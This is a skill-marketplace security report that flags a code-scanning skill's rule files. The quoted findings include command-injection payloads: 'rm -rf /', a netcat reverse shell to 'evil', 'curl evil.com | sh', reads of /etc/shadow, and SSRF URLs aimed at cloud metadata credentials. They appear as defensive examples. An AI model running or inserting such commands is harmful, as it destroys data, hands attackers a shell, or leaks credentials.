Skip to content

tanviet12/vbsec / skills/antigravity/vbs-scan-security

vbs-scan-security

Flagged

Use when scanning code for security vulnerabilities. Use when user says "scan security", "kiểm tra bảo mật", "security audit", "review security", or invokes `/vbs-scan-security`. For large scans (>20 main-language files OR >30 total OR >14 days) processes chunks sequentially. Outputs bilingual reports (vi/en). Optional `--auto-fix` (agentic patch + verify loop) and `--sca` (live CVE lookup via OSV.dev).

Security report

Flagged

Static analysis of one exact version. It reduces risk and shows evidence; it does not certify that a skill is safe.

Commit
3bae26aabab7d08918aae482c340aa1df53aae26
Content hash
e2a6d055e204e03dad734981bc70c8ed5bdb8517ac4c0caa3f8ef0f1a880e2e7
Scanned
2026-11-17
Scanner version
skillxone-scan-1.0.0
Policy version
0.1-draft
Decision
7 open critical or high findings.
Verification expires
Not applicable

Findings (3 critical, 4 high, 2 medium, 8 low, 2 info)

  • A recursive, forced delete targets the root directory, a system directory or the home directory.

    # ?file=a; rm -rf /

    Suggested fix: Delete only specific paths inside a working or temporary directory.

    Report as false positive

  • A recursive, forced delete targets the root directory, a system directory or the home directory.

    // repo=x.git;rm -rf /

    Suggested fix: Delete only specific paths inside a working or temporary directory.

    Report as false positive

  • The command gives a remote host interactive control of this machine (a reverse shell).

    // File extension trick: filename = "a.png; nc evil 4444 -e /bin/sh"

    Suggested fix: Remove it.

    Report as false positive

  • A script is downloaded and run in one step, so whatever the server returns at that moment is executed without review.

    Truyền user input vào shell (`bash`, `cmd.exe`) không escape → hacker thêm `; rm -rf /` hoặc `$(curl evil.com/shell.sh | sh)`. Đây là **RCE trực tiếp** — chiếm server, đọc env (lộ AWS key), pivot vào internal network.

    Suggested fix: Download the script, check it (and its checksum or signature), then run the saved copy. Prefer a package manager.

    Report as false positive

  • The skill refers to system password files, a location that holds private data or credentials.

    # file = "x; cat /etc/shadow"

    Suggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.

    Report as false positive

  • A script is downloaded and run in one step, so whatever the server returns at that moment is executed without review.

    # Exploit: src = "x; curl evil.com/x | sh"

    Suggested fix: Download the script, check it (and its checksum or signature), then run the saved copy. Prefer a package manager.

    Report as false positive

  • The skill refers to system password files, a location that holds private data or credentials.

    # Exploit: file = "app.log; cat /etc/shadow"

    Suggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.

    Report as false positive

  • mediumNET-CLOUD-METADATArules/languages/go/09-ssrf.md:13

    The cloud instance metadata service is contacted. On a cloud machine it hands out credentials. Severity lowered from high because it appears in prose rather than code.

    - Trỏ vào `http://169.254.169.254/latest/meta-data/` để dump AWS IAM credentials

    Suggested fix: Remove access to the metadata service.

    Report as false positive

  • A value assigned to a secret-like name looks like a real credential rather than a placeholder.

    SECRET_KEY = 'djan…[redacted]' # leak qua error page

    Suggested fix: If this is a real secret, revoke it and load it from the environment. If it is an example, make that obvious (for example "your-api-key").

    Report as false positive

  • lowCMD-REMOTE-PIPE-SHELLreferences/sub-agent-prompts.md:145

    A script is downloaded and run in one step, so whatever the server returns at that moment is executed without review. Severity lowered from high because the surrounding text warns against it.

    Use a rule ID printed by `load-rules.sh` whenever the issue truly is that class. Do NOT invent IDs like `INSECURE-COOKIE`, `WEAK-CRYPTO`, `SUPPLY-CHAIN`, and do NOT squeeze an issue into the nearest-looking rule (a missing cookie flag is n…

    Suggested fix: Download the script, check it (and its checksum or signature), then run the saved copy. Prefer a package manager.

    Report as false positive

  • lowFILE-CLOUD-CREDENTIALSrules/generic/05-slopsquatting.md:11

    The skill refers to cloud provider credentials, a location that holds private data or credentials. Severity lowered from high because the surrounding text warns against it.

    AI sinh code import package **không tồn tại trên npm/PyPI/Packagist** (hallucination). Attacker tự đăng ký tên đó với **malware bên trong**: post-install script đánh cắp `~/.aws/credentials`, `~/.ssh/`, env var, crypto wallet, hoặc cài bac…

    Suggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.

    Report as false positive

  • lowNET-CLOUD-METADATArules/generic/09-ssrf.md:11

    The cloud instance metadata service is contacted. On a cloud machine it hands out credentials. Severity lowered from high because the surrounding text warns against it.

    Server gửi HTTP request đến URL do user nhập (L1). Attacker chỉ định URL kiểu `http://169.254.169.254/latest/meta-data/iam/security-credentials/` để **đọc credential AWS IAM**, hoặc `http://localhost:8080/admin`, `http://internal-db:5432`,…

    Suggested fix: Remove access to the metadata service.

    Report as false positive

  • The skill refers to system password files, a location that holds private data or credentials. Severity lowered from high because the surrounding text warns against it.

    Code thao tác file với path chứa user input (L1). Attacker truyền `../../../../etc/passwd`, `..\\..\\Windows\\System32\\drivers\\etc\\hosts`, hoặc absolute path `/etc/shadow` để **đọc file hệ thống, ghi đè config, leak source code, đọc `.e…

    Suggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.

    Report as false positive

  • A script is downloaded and run in one step, so whatever the server returns at that moment is executed without review. Severity lowered from high because the surrounding text warns against it.

    → Lúc này args đầu là `sh -c`, **toàn bộ string sau bị shell parse** → attacker chèn `; rm -rf /` hoặc `$(curl evil.com | sh)`.

    Suggested fix: Download the script, check it (and its checksum or signature), then run the saved copy. Prefer a package manager.

    Report as false positive

  • A script is downloaded and run in one step, so whatever the server returns at that moment is executed without review. Severity lowered from high because the surrounding text warns against it.

    // attacker: ?file=x.jpg;curl evil.com/sh|sh → RCE

    Suggested fix: Download the script, check it (and its checksum or signature), then run the saved copy. Prefer a package manager.

    Report as false positive

  • The cloud instance metadata service is contacted. On a cloud machine it hands out credentials. Severity lowered from high because the surrounding text warns against it.

    Vibe code Python rất thường viết các tính năng "fetch URL", "webhook", "import from URL", "screenshot URL", "import RSS" — dùng `requests`, `urllib`, `httpx`, `aiohttp` để fetch URL người dùng cung cấp. Không validate → attacker fetch `htt…

    Suggested fix: Remove access to the metadata service.

    Report as false positive

  • The cloud instance metadata service is contacted. On a cloud machine it hands out credentials. Severity lowered from high because the surrounding text warns against it.

    Node app rất hay có feature "fetch URL hộ user" — image proxy, webhook, URL preview, OG metadata, screenshot service, RSS importer. Attacker đưa URL nội bộ (`http://localhost:6379`, `http://169.254.169.254/latest/meta-data/iam/`, `http://i…

    Suggested fix: Remove access to the metadata service.

    Report as false positive

  • infoINT-EXECUTABLE-SCRIPTreferences/load-rules.sh:1

    The skill ships an executable script. Review it before allowing an agent to run it.

    #!/usr/bin/env bash

    Suggested fix: None required. Informational.

    Report as false positive

  • infoINT-EXECUTABLE-SCRIPTreferences/validate-report.py:1

    The skill ships an executable script. Review it before allowing an agent to run it.

    #!/usr/bin/env python3

    Suggested fix: None required. Informational.

    Report as false positive

Checks run

  • prompt-injection
  • dangerous-commands
  • credentials
  • network
  • file-access
  • integrity

Checks skipped

  • dependencies: No dependency manifest in the skill directory.
  • gitleaks: gitleaks is not installed on this host.
rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit.Stars: 469kUpdated Claude CodeCodexVerifiedInstall
rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure.Stars: 469kUpdated Claude CodeCodexVerifiedInstall
rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics.Stars: 469kUpdated Claude CodeCodexVerifiedInstall
ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first.Stars: 194kUpdated Claude CodeCodexVerifiedInstall